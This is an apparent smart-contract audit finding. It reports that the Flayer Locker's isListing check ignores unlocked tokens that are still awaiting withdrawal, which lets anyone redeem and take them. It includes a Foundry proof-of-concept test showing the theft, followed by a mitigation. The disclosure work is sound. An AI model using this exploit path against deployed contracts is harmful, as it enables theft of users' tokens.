Wobbly Neon Hyena

Medium

# `Locker::isListing` doesn't check if the token is unlocked and pending withdrawal, allowing users to steal unlocked tokens

### Summary

In the locker contract, whenever a user wants to redeem or swap a token, the contract checks if the token is part of an acting listing, by checking that in both listings and protected listings contract.
```solidity
function isListing(address _collection, uint _tokenId) public view returns (bool) {
    IListings _listings = listings;

    // Check if we have a liquid or dutch listing
    if (_listings.listings(_collection, _tokenId).owner != address(0)) {
        return true;
    }

    // Check if we have a protected listing
    if (_listings.protectedListings().listings(_collection, _tokenId).owner != address(0)) {
        return true;
    }

    return false;
}
```
On the other hand, in the protected listings contract, a user can unlock his protected listing/token by paying the amount needed and choosing to withdraw that token later, when doing so:
* The protected listing is deleted
```solidity
// Delete the listing objects
delete _protectedListings[_collection][_tokenId];
```
* The token is added to the `canWithdrawAsset` mapping
```solidity
canWithdrawAsset[_collection][_tokenId] = msg.sender;
```

However, after the above, `Locker::isListing` will return false as the listing doesn't exist, while it is waiting to be claimed by the owner of the unlocked listing. This allows anyone to call either redeem or withdraw in the locker to steal that token.

### Root Cause

`Locker::isListing` doesn't check if the token is a part of `canWithdrawAsset` in protected listings, [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L438C14-L452).

### Impact

Unlocked tokens could be stolen.

### PoC

Add the following test in `flayer/test/ProtectedListings.t.sol`:

```solidity
function test_StealUnlockedListing() public {
    address bob = address(1);
    ICollectionToken collectionToken = ICollectionToken(
        locker.collectionToken(address(erc721a))
    );

    deal(address(collectionToken), bob, 4 ether);
    deal(address(collectionToken), address(this), 4 ether);

    uint256 tokenId = 0;
    erc721a.mint(address(this), tokenId);

    // THIS creates a protected listing
    erc721a.approve(address(protectedListings), tokenId);
    _createProtectedListing({
        _listing: IProtectedListings.CreateListing({
            collection: address(erc721a),
            tokenIds: _tokenIdToArray(tokenId),
            listing: IProtectedListings.ProtectedListing({
                owner: payable(address(this)),
                tokenTaken: 0.95 ether,
                checkpoint: 0
            })
        })
    });

    // THIS unlocks the listing
    collectionToken.approve(address(protectedListings), type(uint256).max);
    protectedListings.unlockProtectedListing(
        address(erc721a),
        tokenId,
        false
    );

    // THIS is allowed to withdraw the asset
    assertEq(
        protectedListings.canWithdrawAsset(address(erc721a), tokenId),
        address(this)
    );

    // Bob steals the asset
    vm.startPrank(bob);
    collectionToken.approve(address(locker), type(uint256).max);
    locker.redeem(address(erc721a), _tokenIdToArray(tokenId), bob);
    vm.stopPrank();

    // Bob now owns the asset
    assertEq(erc721a.ownerOf(tokenId), bob);

    // THIS can no longer withdraw the asset, as it is owned by Bob
    vm.expectRevert(bytes("ERC721: caller is not token owner or approved"));
    protectedListings.withdrawProtectedListing(address(erc721a), tokenId);
}
```

### Mitigation

Add a condition to `Locker::isListing` to check if the token has a valid entry in `canWithdrawAsset`, if so, block the redemption/swap action.